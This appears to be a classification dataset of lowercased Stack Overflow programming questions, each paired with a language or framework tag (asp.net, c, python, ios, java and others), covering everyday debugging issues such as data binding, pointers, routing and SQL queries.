repeater rebind and code on apsx page  im using repeater to display userphotos. for loggedin user photos i would like to have deletebutton visible and for the rest no.    everything is ok on the first load.     code for visible works ok:   <pre><code>visible= &lt;%#databinder.eval(container.dataitem   userid ).tostring() == loggeduser.tostring() %&gt;  </code></pre>   but on the postback even though the same data is binded to the repeater code:   <pre><code>&lt;%#databinder.eval(container.dataitem   userid ).tostring() == loggeduser.tostring() %&gt;  </code></pre>   always returns false.    why is it like taht      i have also printed    <pre><code> &lt;%= loggeduser.tostring() %&gt;                 &lt;%#databinder.eval(container.dataitem   userid ).tostring() %&gt; </code></pre>   and both texts are the same in both ways (with postback and without - on first page load.    any suggestions      the backcode is:   <pre><code>private void loaduserphoto(int pagenumber) {      loginmanager loginmanager = new loginmanager();     int loginid = loginmanager.getloggedp();      userphoto userphoto = new userphoto();     list&lt;photo&gt; photos = userphoto.getuserphotos(loginid.tostring()  pagenumber  pagesize);          rptrimages.datasource = photos;         rptrimages.databind();     } } </code></pre>   and on pageload i have only:   <pre><code>if (!page.ispostback) {    loaduserphoto(0); } </code></pre>   and on buttonclick handler the same code:   <pre><code>loaduserphoto(0); </code></pre>,asp.net
reverse char array with pointer in c  i want to reverse a char array using pointers  but all i get when i <code>printf</code> the pointer is <code>null</code>. i don t know what i m doing wrong or how to fix it. so how can i reverse the string in a similar way    <pre><code>#include &lt;stdio.h&gt;  void reverse(char *cstr);  int main() {     char a[100];     char *p = a;     printf( geef een string  );     // ask user to write a word     scanf( %s   &amp;a);      reverse(p);      printf( %s   *p); }   void reverse(char *p) {     int i = 0;     char temp;     int lengte;      for(i = 0; *(p+i) !=  \0 ; i++)     {         lengte++;                        // length of char array without the  \0      }      for(i = 0; i &lt; lengte; i++)     {         temp = p[i];               // something goes wrong here but i don t know  what         p[i] = p[lengte-i];         p[lengte-i] = tem;     } } </code></pre>   something goes wrong at the   <pre><code>p[i] = p[lengte-i]; p[lengte-i] = tem; </code></pre>   part. what do i need to change it to,c
stored procedures or stored functions in any open source software   i ve been reading about mysql stored procedures lately. and... after awhile i see very little use for them personally. ...well...maybe for security reasons if you only want to give access to part of your data.    also - i ve never seen them being used in the wild. afaik - i checked magento  wordpress  joomla  drupal - non of them used stored procs  functions or views.    can someone suggest any open source piece of software that actually uses stored procedures. i m eager to see what problems are solved by the authors that can t be solved using standard dynamic sql.    thanks.    <strong>update:</strong>    while i definitely agree with points made by suroot and duffymo - i m still looking for an example usage of stored procedures in any real world open source software. if anyone could point me to such a software  - plz let me know. :),mysql
access variable in object from another function  i am trying to access the variable myvar inside myobject from myfunction  but get this error   <pre><code>uncaught typeerror: cannot read propperty  myvar  of undefined </code></pre>   when running the code below.   <pre><code>        var myobject;          function myobject(){             this.myvar = 500;             myfunction();         }          function myfunction(){             alert(myobject.myvar);         }          myobject = new myobject(); </code></pre>   i have read <a href= https://developer.mozilla.org/en/docs/web/javascript/reference/functions_and_function_scope  rel= nofollow >this</a> but still can t figure out how to access it.,javascript
uitableview cell just disappeared callback   i have a uitableview with heavy images content. so the scrolling is not fluid anymore. i want to add a timer to load the images  while you scroll i create the timer for each row. if the cell quits the view  i cancel the timer. if not i fade in the images.    my question is : is there a callback for a cell going out of view   i m reading the doc  but i m not sure there is anything for my needs.    thanks for the help !    edit: the code i m using (this is the three20 library  i m using a custom tttableitemcell. the  _tabbar1.tabitems = item.photos  is the line hoging resources. on the first load it s okay because the photos are being loaded asynchronously from the server  but when i scroll back or reload the view  they are all loaded synchronously  and the scrolling isn t smooth anymore  especially on an iphone 3g. :    <pre><code>- (void)setobject:(id)object {     if (_item != object) {         [super setobject:object];          mission* item = object;          self.textlabel.text = item.name;         _tabbar1.tabitems = nil;          timerfeats = [nstimer scheduledtimerwithtimeinterval:(0.5f) target:self selector:@selector(updatefeats) userinfo:nil repeats: no];           //_tabbar1.tabitems = item.photos;   } }  -(void)updatefeats {     dlog(@ timer ended );     mission* item = self.object;     self._tabbar1.tabitems = item.photos; } </code></pre>,ios
capturing variable-length groups of spaces  i am trying to parse strings of the form:   <pre><code>xxx xxxx    xxxxxx   xx           xxxxxxxxxxxxx xxx </code></pre>   the objective is to capture all the variable length groups of spaces in this string.  how would i do this using regex,python
undefined reference to variable  i have a weird problem. using this code   <pre><code>i2c_handletypedef* i2c; mpu9250* mpu9250;  int main(void) {     hal_init();     /* configure the system clock */     systemclock_config();     /* initialize all configured peripherals */     mx_gpio_init();      mpu9250 = new mpu9250(i2c);      // ... } </code></pre>   i am getting error  undefined reference to  i2c   (in function <code>main</code>). based on what i was able to find about this error this code should work. do you see anything that could cause this error      edit:  function <code>mx_gpio_init()</code>. same error with  undefined reference to i2c .   <pre><code>void mx_gpio_init(void) {      gpio_inittypedef gpio_initstruct;      /* gpio ports clock enable */     __gpiob_clk_enable();      /*configure gpio pins : pb6 pb7 */     gpio_initstruct.pin = gpio_pin_6 | gpio_pin_7;     gpio_initstruct.mode = gpio_mode_af_od;     gpio_initstruct.pull = gpio_pullup;     gpio_initstruct.speed = gpio_speed_high;     gpio_initstruct.alternate = gpio_af4_i2c1;     hal_gpio_init(gpiob  &amp;gpio_initstruct);      i2c = new i2c_handletypedef;     i2c-&gt;instance = i2c1;     i2c-&gt;init.clockspeed = 100000;     i2c-&gt;init.dutycycle = i2c_dutycycle_2;     i2c-&gt;init.ownaddress1 = 0;     i2c-&gt;init.addressingmode = i2c_addressingmode_7bit;     i2c-&gt;init.dualaddressmode = i2c_dualaddress_disabled;     i2c-&gt;init.ownaddress2 = 0;     i2c-&gt;init.generalcallmode = i2c_generalcall_disabled;     i2c-&gt;init.nostretchmode = i2c_nostretch_disabled;     hal_i2c_init(i2c); } </code></pre>,c++
add status image next to a form field  <strong>i am trying to put a status image (showing a tick if email is correct or cross if not) next to the email field in my form.</strong>  the problem is my registration form is using the table method   so the image is not showing next to the field but below it. can anyone help me out here     this is what i tried to do but still not work the way i want it to.   <pre><code>&lt;table width= 500  border= 0 &gt; &lt;tr&gt;&lt;td width= 210  height= 45 &gt;email:&lt;/td&gt;&lt;td&gt; &lt;input type= text  size= 40  name= useremail  id= useremail  onkeyup= checkemail(this.value);  onblur= checkemail(this.value);  maxlength= 60  /&gt; **&lt;img id= status  src= images/bad.png  style= margin-left:5px; vertical-align:middle;  alt= status  /&gt;&lt;/td&gt;&lt;/tr&gt;** &lt;/table&gt; </code></pre>,html
uistepper not shown but did not crash in 4.3 simulator  i just created  a uistepper programmatically and added it to my view. in ios 5 simulator it is working fine.    in ios 4.3 simulator it is not showing up. ok  becuase it is not supported in 4.3   it seems fine. but app is not getting crashed.    can anyone explain why       thanks -mia,ios
javascript string manipulation - urls  i need to extract the device name from this url using javascript:    <a href= http://store.myshop.com/my-shop-mobile/pay-monthly-phones/samsung-galaxy-j3-white/samsung-galaxy-j3-white-tariffs.html filters=1  rel= nofollow >http://store.myshop.com/my-shop-mobile/pay-monthly-phones/samsung-galaxy-j3-white/samsung-galaxy-j3-white-tariffs.html filters=1</a>    so i am just left with  samsung-galaxy-j3-white     parts of this url are variable  for example it could also look like this:    <a href= http://store.myshop.com/my-shop-mobile/pay-as-you-go-phones/galaxy-j3-white/samsung-galaxy-j3-white-tariffs.html filters=1  rel= nofollow >http://store.myshop.com/my-shop-mobile/pay-as-you-go-phones/galaxy-j3-white/samsung-galaxy-j3-white-tariffs.html filters=1</a>    but it is always after the 3rd  /  after the domain.,javascript
rewrite url in browser s address bar with #   i have some elements on my page that get loaded via an ajax call. i d like to make the url in the user s browser change when they click an item. for example  my page has a list of animals:   <pre><code>horse cow pig </code></pre>   when the user clicks one of those items  i want to update the url in their browser s address bar (not reload the page):   <pre><code>http://www.mysite.com#horse http://www.mysite.com#cow http://www.mysite.com#pig </code></pre>   i think that s allowed  putting the # symbol in the address without reloading the page. is there a way to do this in jquery      thanks,jquery
in what order are methods called when you have class hierarchy   consider:   <pre><code>class mobile {   double memory_util;   public:   virtual void power_save(double duration) = 0; };  class laptop : public mobile {   bool is_unlocked;   protected:   bool is_charged;   public:   void power_save(double duration);   virtual double remaining_time(); };  class negativenumber {};  class ipad : public laptop {   int generation;   public:   void power_save(double duration);   bool isjailbroken(); };  class hplaptop : public laptop {   int warranty_years;    public:   void extend_warranty(int years); };  class hpdv6 : public hplaptop {   bool repaired;   public:   double remaining_time(){  return hplaptop::remaining_time();  }   bool is_repaired { return repaired; } }; </code></pre>   and you wanted to do the following:   <pre><code>int main () {   mobile* d = new hpdv6();   laptop *s = d;   d-&gt;power_save(100);   cout &lt;&lt; “remaining operation time: ” &lt;&lt;   s-&gt;remaining_time() &lt;&lt; endl;   return 0; } </code></pre>   which methods would actually be called here   i understand that mobile is a virtual function  but i m unsure how to deal with the class hierarchy when you have pointers like this.  are there any tips about class hierarchy that will make problems that deal with various inherited classes easier to understand     thank you.,c++
get path for my .exe  how can i get my .exe path because if i copy my .exe i can get my new path,c#
"router controller angularjs not working  i ve tried to get to know how to work with angular but have no luck. i don t know what i do wrong.    here is my index.html:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html ng-app= app &gt;
  &lt;head&gt;
   &lt;meta charset= utf-8 &gt;
   &lt;title&gt;testangular&lt;/title&gt;
   &lt;link rel= stylesheet  type= text/css  href= core/css/style.css &gt;
   &lt;script src= core/js/angular.min.js &gt;&lt;/script&gt;
   &lt;script src= core/js/angularroute.min.js &gt;&lt;/script&gt;
   &lt;script src= controllers/users.js &gt;&lt;/script&gt;
   &lt;script src= services/router.js &gt;&lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
   &lt;div class= container &gt;
    &lt;p class= well &gt;
     &lt;a href= #/ &gt;home&lt;/a&gt;
     &lt;a href= #/users &gt;users&lt;/a&gt;
     &lt;a href= #/shop &gt;shop&lt;/a&gt;
    &lt;/p&gt;
    &lt;h3&gt;users&lt;/h3&gt;
    &lt;hr class= vau &gt;
    &lt;form&gt;
     &lt;input class= form-control  type= text  ng-model= search &gt;
    &lt;/form&gt;
    &lt;div ng-view=  &gt;&lt;/div&gt;
   &lt;/div&gt;
  &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     here is my router.js     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code> use strict ;
 angular.module( app   [ ngroute ])
 .config(function($routeprovider){
  $routeprovider
   .when( /   {
    templateurl:  tpl/home.html 
   })
   .when( /users   {
    templateurl:  tpl/users.html  
    controller:  userctrl 
   })
   .when( /shop   {
    templateurl:  tpl/shop.html 
   })
   .otherwise({ redirectto:  /  });
 });</code></pre>
 </div>
 </div>
     here is my users.js    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code> use strict ;
 angular.module( app   [ ngroute ])
 .controller( userctrl   function($scope  $http){
  $http.get( datamodel/users.json ).then(function(res){
   $scope.users = res.data;
  });
 });</code></pre>
 </div>
 </div>
     and this is my users.html    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>&lt;h3&gt;hello users&lt;/h3&gt;
 &lt;div ng-controller= userctrl &gt;
  &lt;table class= table table-hover &gt;
   &lt;tr&gt;
    &lt;th&gt;pid&lt;/th&gt;
    &lt;th&gt;vorname&lt;/th&gt;
    &lt;th&gt;nachname&lt;/th&gt;
    &lt;th&gt;e-mail&lt;/th&gt;
    &lt;th&gt;abteilung&lt;/th&gt;
   &lt;/tr&gt;
   &lt;tbody&gt;
    &lt;tr ng-repeat= user in users | filter:search &gt;
     &lt;td&gt;{{user.pid}}&lt;/td&gt;
     &lt;td&gt;{{user.fname}}&lt;/td&gt;
     &lt;td&gt;{{user.lname}}&lt;/td&gt;
     &lt;td&gt;{{user.email}}&lt;/td&gt;
     &lt;td&gt;{{user.abtelung}}&lt;/td&gt;
    &lt;/tr&gt;
   &lt;/tbody&gt;
  &lt;/table&gt;
 &lt;/div&gt;
 &lt;p&gt;hello users&lt;/p&gt;</code></pre>
 </div>
 </div>
     i don t know why the controller is not working. thank you very much for any idea and help.",angularjs
how to merge the 3d transformed image  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/12457047/how-to-merge-the-perspective-image3d-transform >how to merge the perspective image(3d transform) </a>    </blockquote>     how to merge the 3d transformed image with the background image  i am using the below code.   <pre><code>uigraphicsbeginimagecontext(backgroundimageview.frame.size); [backgroundimageview.layer  renderincontext:uigraphicsgetcurrentcontext()]; //bacgroundimageview here overlappedimage = uigraphicsgetimagefromcurrentimagecontext(); uigraphicsendimagecontext(); </code></pre>   its working fine  but i change the 3d transform to that image(cat image<img src= https://i.stack.imgur.com/ep26k.png  alt= enter image description here >) its not working. please see the attached image. 1st image is transformed image  2nd image is merged image(this is the issue).please help me. i have wasted more time for this issue. i hope any one help me. thanks in advance.,iphone
i am trying to use getparametername().but exception is raising.please tell me the correct way if i am doing in wrong way <h2>code:</h2>  <pre><code>protected void signup(httpservletrequest request  httpservletresponse response) throws servletexception  ioexception  namingexception  sqlexception{     response.setcontenttype( text/html;charset=utf-8 );      printwriter out = response.getwriter();      try{         string [] values = new string [10];         context cx=new initialcontext();         datasource ds=(datasource) cx.lookup( jdbc/mydatasource );         connection conn=ds.getconnection();         enumeration en=request.getparameternames();         string str= insert into sign values(     ) ;         preparedstatement pos=conn.preparestatement( str );         for(int i=0;en.hasmoreelements();i++){             string param=(string) en.nextelement();             values [i]=request.getparameter( param );             pos.setstring(i values[i]);         }         requestdispatcher dss=request.getrequestdispatcher( index.jsp );         dss.forward(request  response);     }catch(exception e){         requestdispatcher dss=request.getrequestdispatcher( error.jsp );         dss.forward(request  response);     } } </code></pre>,java
how do i compare two columns in the same table   i would like to compare two columns in the same table.  i want to be able to return all rows where the two columns have the same value.    i am looking for something like <code>select * from foo where c1 = c4</code>.    therefore in the example below i would return only the first row:   <pre><code>c1    || c2  || c3  || c4 -------------------------- 1     || a   || b   || 1 2     || a   || b   || 4 3     || b   || d   || 2 4     || b   || d   || 2 </code></pre>   if it matters  i am using <code>sqlite</code> (more specifically <code>websql</code>).,sql
how to pass uislider value through delegate   my programe does get valuse from uislider and send the value to its superclass through protocol.    child.h   <pre><code>-(void) valuea:(nsinteger *)va valueb:(nsinteger *)vb; </code></pre>   and i call it in child.m   <pre><code>[self.delegate valuea:slidera.value valueb:sliderb.value]; </code></pre>   but it returns error says  incompatible type for argument 1 of valuea:va:  do i have to parse the value before i pass the value  or i just made wrong parameter,iphone
online python tutorials <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/207701/python-tutorial-for-total-beginners >python tutorial for total beginners </a>    </blockquote>     i am looking for a good online resource for learning python.    kindly suggest a resource which you think is a best one for beginner and can take the learner to an intermediate level.    note: i am looking to learn python in  linux.    thank you,python
rails migration unique columns together  i m creating rails model that i ll make polymorphic associations with. in the migration i have the following index and want these columns to be <strong>unique together</strong>. i ve read that you can make columns <strong>unique together</strong>  but i want to ensure that i understand what this means.   <pre><code>add_index :addresses  [:addressable_type  :addressable_id]  :unique =&gt; true </code></pre>   let s say <code>addressable_id</code> is equal to 1 in two cases  but one type is <code>a</code> and another is <code>b</code>. this won t violate the unique requirement  right  i want to make sure this considers both columns to determine uniqueness. am i understanding this correctly,ruby-on-rails
code stops working after input; why  i m not sure. password generator  here is my code: i wish for it to create a password taking 3 characters from name  3 characters from pn (pet s name)  and 3 chracters from birthday month and then adding the 1 or 2 digits from the date(day) of birth (1-31).    currently  when i run it  it stops at the end of the user input and never generates a password.   <pre><code>def password():     import random      password = []     name = input( enter your name )     pn = input( enter your pets name )     bday = input( enter your birthday month )     date = input( enter the date you were born )     while name !=  quit :         pw = random.sample(name 3)         password.append(pw)         pw1 = random.sample(pn 3)         password.append(pw1)         pw2 = random.sample(bday 3)     return( your security code is   password + date) </code></pre>,python
compare date with previous date in loop  i m looping through a query which contain a value which is an integer and a datetime. i want to compare the every row in the loop and if a record with the same date(not time) already exists it should delete the previous record/object in the array. how can i achieve this    <pre><code>foreach ($balancequery as $row)  {       $value = $row-&gt;balance;       $datetime = strtotime($row-&gt;post_date) * 1000;     $data[] =  [$datetime  $value] ; } </code></pre>,php
i crashed sample code from apple  i was discovering some code from <a href= https://developer.apple.com/library/content/samplecode/usingphotosframework/introduction/intro.html  rel= nofollow noreferrer >documentation</a> which basically displays photos from our albums.     so this apps  when we choose all photos from our device  shows in grid every image and video. every cell has size <code>(80  80)</code>  but the problem is when we increase this size (e.g. in storyboard) to let s say <code>(120  120)</code>. know when we scroll very fast to the bottom of collection view (assuming that we have more than 200 photos in our phone  which is quite popular case) the app crashes without stopping on breakpoint in appdelegate  but it prints this:   <blockquote>    objc[68113]: class plbuildversion is implemented in both   /applications/xcode.app/contents/developer/platforms/iphonesimulator.platform/developer/sdks/iphonesimulator.sdk/system/library/privateframeworks/assetslibraryservices.framework/assetslibraryservices   (0x1171ea998) and   /applications/xcode.app/contents/developer/platforms/iphonesimulator.platform/developer/sdks/iphonesimulator.sdk/system/library/privateframeworks/photolibraryservices.framework/photolibraryservices   (0x11700c880). one of the two will be used. which one is undefined.  </blockquote>   am i doing something wrong  ;),ios
c++ templates implementing on structures  there is something wrong with this c++ code. i ve compiled it in vc ++ 6.0. it s giving the error  cannot deduce template argument for type ... the problem is in the <code>display</code> function.    here s the code:   <pre><code>#include  stdafx.h  #include &lt;iostream&gt; #include &lt;conio.h&gt; using namespace std;  template &lt;class type&gt;   struct one {   type data;   one *next; };  one&lt;int&gt; *head  *temp  *mid  *del = null;  template &lt;class type&gt; void athead(type value)     {       one *node = new one;       node-&gt;data = value;       node-&gt;next = head;       head = node; }  template &lt;class type&gt; void add_at_tail(type value)    {   one *node = new one;      node-&gt;data = value;       node-&gt;next = null;    if(head == null)   {     head = node;        temp = head;   }    while(temp-&gt;next != null)      {     temp = temp-&gt;next;   }    if(temp != node)   {     temp-&gt;next = node;     } }  template &lt;class type&gt; void display() {   one&lt;type&gt; *temp = new one;   temp = head;     cout &lt;&lt;  \n\n  &lt;&lt; endl;      while(temp != null)      {     cout &lt;&lt;     &lt;&lt; temp-&gt;data &lt;&lt;     &lt;&lt;  -&gt; ;     temp = temp-&gt;next;   }   cout &lt;&lt;  \n\n\n ; }  int main() {   int a  b  c;   cout &lt;&lt;  enter the data:   &lt;&lt; endl;   cin &gt;&gt; a;   add_at_tail(a);   cout &lt;&lt;  enter the data:   &lt;&lt; endl;   cin &gt;&gt; b;   add_at_tail(b);   cout &lt;&lt;  enter the data:   &lt;&lt; endl;   cin &gt;&gt; c;   add_at_tail(c);    display();    return 0; } </code></pre>,c++
mysql append   prefix a range of numbers with 0  i have around a few thousand rows with which contain 3 digit numbers starting with 100 and ranging to 199 which i need to prefix with 0. there are also thousands of other numbers 4 digit numbers as well which i don t want to change.    i need find all the 3 digit numbers in the range and prefix only those ranging from 100 -199 with a 0 so as they are 4 digits eg 100 > 0100   104 > 0104 and so on. also these numbers may step eg 110 next is 124.    is there a way i can do this using sql  as i don t fancy changing these manually!    many thanks,mysql
how to access outside class variable data in objective-c   i have a header file with nsmutabledictionary varibale and a function as follows   <pre><code>#import &lt;foundation/foundation.h&gt; @interface client : nsobject{};  @property (assign)nsmutabledictionary *dict; - (nsmutabledictionary *)mydict; @end </code></pre>   in .m file   <pre><code>@implementation client { nsmutabledictionary *dict;//=[[nsmutabledictionary alloc]initwithcapacity:10]; } -(nsmutabledictionary *):mydict{ return dict; } </code></pre>   my question is where i have to initialize dict  so that i can access it from anywhere in my project by using something like client.mydict . (it has to return all key value pair),objective-c
ios: registerforremotenotificationtypes method is stuck  no response  when i call the <code>registerforremotenotificationtypes</code> method on my iphone 4 device  it succeeds and i get back a device token.    i tried running this same app on a workmate s iphone 4 and after calling the <code>registerforremotenotificationtypes</code> method  nothing happens. it doesn t pass  it doesn t fail. as far as i know only one of two methods fire after trying to register for remote notifications:    <code>didregisterforremotenotificationswithdevicetoken</code>    or    <code>didfailtoregisterforremotenotificationswitherror</code>    i don t know what else to do  i ve tried uninstalling and reinstalling the app on her phone  i manually deleted the provisioning profiles from her device and re installed the app. still not working.    any ideas     <b>edit</b>: <i>would the fact that she purchased her phone in australia and is now living in canada have anything to do with it </i>,ios
slidetoggle - delete form data  i have an expanding form which expands on click  after clicking additional / advanced options become available  now when expanded i also give the option to go back to the normal / basic form. in this case i want to delete everything that was entered in the advanced part of the form.     i came as far as this:   <pre><code>$(function() {    $( #more ).hide();    $( #advanced_search ).click(function(){         $(this).text($(this).text() ==  show advanced search options     hide advanced search options (selected options will be deleted)  :  show advanced search options );          $( #more input ).val(  );           $( #swimming-pool ).prop( checked   false);            var select = ( #location );             select.find( option[value=  ] ).attr( selected   selected );            select.data( selectbox-selectboxit ).refresh();     $( #more ).slidetoggle();     return false; }); }); </code></pre>   the problem i m facing is that i m using an additional plugin - selectboxit  which makes the selects look better. the problem is if i want to reset the select boxes and just do    <code>$( #location ).val(  );</code>     then this sets the value  but does not actually change the visible selected option in the select box. apparently what you have to do is this:     <code>select.data( selectbox-selectboxit ).refresh();</code>     but as soon as i use that the slidetoggle(); goes crazy and stops working (it slides for a split second and goes back up).    the advanced part of the form consists of 3 selects: <code>#location #ownership #furniture</code> and some text inputs and a checkbox  they delete just fine  i m just having trouble with the selects.    fiddle demonstrating the slidetoggle issue:  <a href= http://jsfiddle.net/l3aux/6  rel= nofollow >jsfiddle.net/l3aux/6</a>,jquery
how expensive is calling size() on list or map in java   how expensive is calling size() on list or map in java  or it is better to save size() s value in a variable if accessed frequently,java
wanted to access a variable from main class to other class...  my program is as follow:   <pre><code>public class hellogridviewactivity extends activity {      public int pos;      /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);          gridview gridview = (gridview) findviewbyid(r.id.gridview);         gridview.setadapter(new imageadapter(this));          gridview.setonitemclicklistener(new onitemclicklistener() {              public void onitemclick(adapterview&lt; &gt; parent  view v  int position  long id) {                 pos = position;                 toast.maketext(hellogridviewactivity.this     + pos  toast.length_short).show();                 intent secondactivity = new intent(getbasecontext()  seconactivity.class);                 startactivity(secondactivity);             }         });     } } </code></pre>   this is my main class file and my other java file is as follow   <pre><code>public class seconactivity extends activity {     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         hellogridviewactivity position1 = new hellogridviewactivity();         int p = position1.pos;         if (p == 0) {             setcontentview(r.layout.ashtavinayak);         } else {             setcontentview(r.layout.ayadhya);         }     } } </code></pre>   nw i wanted to access pos variable defined in the main class to the seconactivity class..can any1 tell me how can i do this,android
how to use mutiple filters in angular js  i have html code includin dropdown which i have used filter.    <pre><code>&lt;div class= controls &gt;     &lt;label class= control-label  for= teamrole &gt;select rater: &lt;/label&gt;     &lt;select name= selectreviewform  data-ng-model= firstname  data-ng-options= getdisplayname(rf) for rf in users |filter:  associates   &gt;     &lt;option value=  &gt;-please select-&lt;/option&gt;     &lt;/select&gt; &lt;/div&gt; </code></pre>   here i want to use multiple filters  can any one guide me how can i use it,angularjs
dynamically adding elements into object from php array <pre><code>    var mydata0 = null;     $.post( php/productionchange.php   function(data) { // this is where      i use an ajax call into a php file.        mydata0=data; // this takes the array from the call and puts it        //into      //a variable        var pa = json.parse(mydata0);                     var temp = {};        for (var i = 0; i &lt; data.length-1; i++) {      var job=pa[i][0];     var shipdate = pa[i][1];     var status = pa[i][2];     var name = pa[i][3];     var enclloc = pa[i][13];     var enclsize = pa[i][14];     var backpanloc = pa[i][15];     var percentcom = pa[i][16];     var isvis = pa[i][17];     var png = pa[i][18];     var workc = pa[i][20];     temp={ baydata : job  shipdate  name  enclloc  enclsize  backpanloc       percentcom  isvis  png  workc};      isvacant1.push(temp); </code></pre>   *so i am trying to accomplish is take the object coming out of the pa array***    <code>(0: array[21] 1: array[21] 2: array[21] 3: array[21] 4: array[21] 5: array[21])</code>    which has 6 different arrays inside of it accounting to a total of 816 items. my temp variables successfully grabs onto all the items that i want and isvacant1 successfully gets all of the 6 push inside of it  resulting in isvacant being an array of 6 objects.     however the breaks down once the for loop is over and the error message i am getting is   <blockquote>    uncaught typeerror: cannot read property  0  of undefined** with a red   x next to the first line of my code once the for loop starts **(var   job=...)  </blockquote>   please tell me the steps into solving this issue. thank you for all the help.*,javascript
how to combine two where clauses which uses and/or   is there a possibility that i can use and/ or operators at the same time or just either of them when doing a query     here is my code that i can use if i want to use either of <code>employee_id_name</code> and <code>resolved_date</code>:   <pre><code>where      employee_id_name =    . $xid .         or resolved_date =    . $date .    </code></pre>   here is what i use if i want to use both:   <pre><code>where      employee_id_name =    . $xid .         and resolved_date =    . $date .    </code></pre>   is it possible to combine this two where clauses  if i want to do a query using both <code>employee_id_name</code> and <code>resolved_date</code> ... and if i also want to query using either of them...    <strong>update</strong>    i want to be able to use both <code>employee_id_name</code> and <code>resolved_date</code> at the same time but there would be time as well where i only want to use either of them... now i don t want to keep changing my code with <code>and</code> and <code>or</code> everytime i execute a query.,sql
objective-c class keyword and protocols  what does it mean in objective-c if you try to mix class and protocol  i m trying to get the complier to warn me at compiler time if a class doesn t conform to a protocol.  for example:   <pre><code>@protocol fllivedataprotocol &lt;nsobject&gt; ... @end  - (id)initwithdatapath:(nsstring *)path usingdataclassfactory:(class&lt;fllivedataprotocol&gt;)datafactoryclass; </code></pre>   however  i get all kind of interesting issues when i try this.  first  it doesn t trigger a compiler error if you pass in a class that doesn t conform to the protocol  second you will get errors such as  no know class method for selector alloc  if you try to do [[datafactoryclass] alloc] init] even through the protocol conforms to nsobject.    i haven t seen many examples of people trying to mix protocol s and the class keyword (i should say typedef -- thanks nikolai).    i know i can use conformstoprotocol to check at runtime  but it would be nice if i could get this to check at compile time.,objective-c
retrieving number of lines with python  i am trying to retrieve the number of lines of a file using python on ubuntu.    i tried the following:   <pre><code>os.system( wc -l filename ) </code></pre>   but it returns something like    <pre><code>numberoflines filename 0 </code></pre>   when i tried to retrieve the result:     l = os.system( wc -l filename )    i got <code>l = 0</code>    i also tried to split the result in order to keep the first element only  but this raises <code>attributeerror:  int  object has no attribute  split </code>    how can i get the number of lines i am looking for,python
uploading an image to twitter or facebook and not losing quality (like temple run 2)   every time i upload an image to twitter or facebook through my ios app  the quality of the image is pretty poor. i ve looked for this problem and it seems that everybody suffers it... except the people that made temple run 2. if you take a look at the image posted though the game:    <a href= https://twitter.com/mattgoldenvp/status/356082804066488320  rel= nofollow >https://twitter.com/mattgoldenvp/status/356082804066488320</a>    it look great. how do they do this,ios
send data from one application to other in different devices continously   hello i am new in android  i have one application which generates latitude and longitude. now i want take it a step ahead. i want to send these lat and long continously to my other application which is installed in other android phone. like  app 1 : this gets the latitude and longitude of its device continously. now i want to tansfer these latitude and longitude to other app (app 2).    app 2 : this will recieve the latitude and longitude from app one and plot in map.  the main concern is how to send data from app1 to app2     is there any examples or a way to do so  any suggestions will be appriciated thanx in advance.,android
image resize for larger images  but padding for smaller images  i need to find a .net solution for asp.net where images larger than a given size are scaled down  but images smaller will be centered in the newer sized image on a white background.  any thoughts or help is appreciated.,asp.net
custom principal caching in asp.net  i am successfully working with a custom principal in asp.net  but my custom principal loads database data and i don t want that happening on every request into the system.    i load my custom principal in the global.ascx file in the application_onpostauthenticaterequest  but it appears session state is not available here.  where am i suppose to stick it after the first request into the system so that i don t have to keep recreating it from scratch    <pre><code> protected void application_onpostauthenticaterequest(object sender  eventargs e)         {             iprincipal principal = httpcontext.current.user;              if(principal.identity.isauthenticated == true &amp;&amp; principal.identity.authenticationtype ==  federation )             {                 customprincipal customprincipal = null;                       iclaimsprincipal claimsprincipal = (iclaimsprincipal)principal;                      if (claimsprincipal == null)                     {                         throw new applicationexception( we should have a claims principal at this point );                     }                      customprincipal = new customprincipal(claimsprincipal);                   httpcontext.current.user = customprincipal;                 thread.currentprincipal = customprincipal;              }         } </code></pre>,asp.net
using datasets and datatables  microsoft opinion  i heard that microsoft does not recommend using datasets and datatables in new projects. instead it recommends using their new technologies or build own class structures. is that true  if yes  then could someone please give me the official link. thank you :),.net
uploading empty file goes to edit instead of new  i recently noticed that on my form  if i try to upload an empty file the page will get redirected to edit instead of create. if i try to upload the file with some text in it  the form will direct to create. i couldn t find any indication that this would happen as i create my object every time (it s never persisted). is there an explanation behind this     the code looks something like this:   <pre><code>//controller def upload     @new_cool_file = coolfile.new end    //form in upload.html.erb &lt;%= form_for @new_cool_file  html: {role:  form } do |f| %&gt;     &lt;div class= form-group &gt;         &lt;%= f.label :file %&gt;         &lt;%= f.file_field :file %&gt;     &lt;/div&gt;     &lt;%= f.submit  submit %&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
priority queue linked list iterator npe  just like the title says  i am getting a null pointer exception whenever i try to call the iterator from my driver. the error points to this specific location in my class:    <pre><code> public iterator&lt;e&gt; iterator() {     return new iteratorhelper(); }      class iteratorhelper implements iterator&lt;e&gt; {     private int iteratorindex;     private long modcheck;     node&lt;e&gt; current;      public iteratorhelper() {          iteratorindex = 0;         modcheck = sequencenumber;         current = head;     }      public boolean hasnext() {         if (modcheck != sequencenumber)             throw new concurrentmodificationexception();         return iteratorindex &lt; currentsize;     }      public e next() {         if (!hasnext() &amp;&amp; current != null)             throw new nosuchelementexception();         iteratorindex++;         current = current.next;         return current.data; //npe &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;     }      public void remove() {         throw new unsupportedoperationexception();     } } </code></pre>   }    why am i getting a npe,java
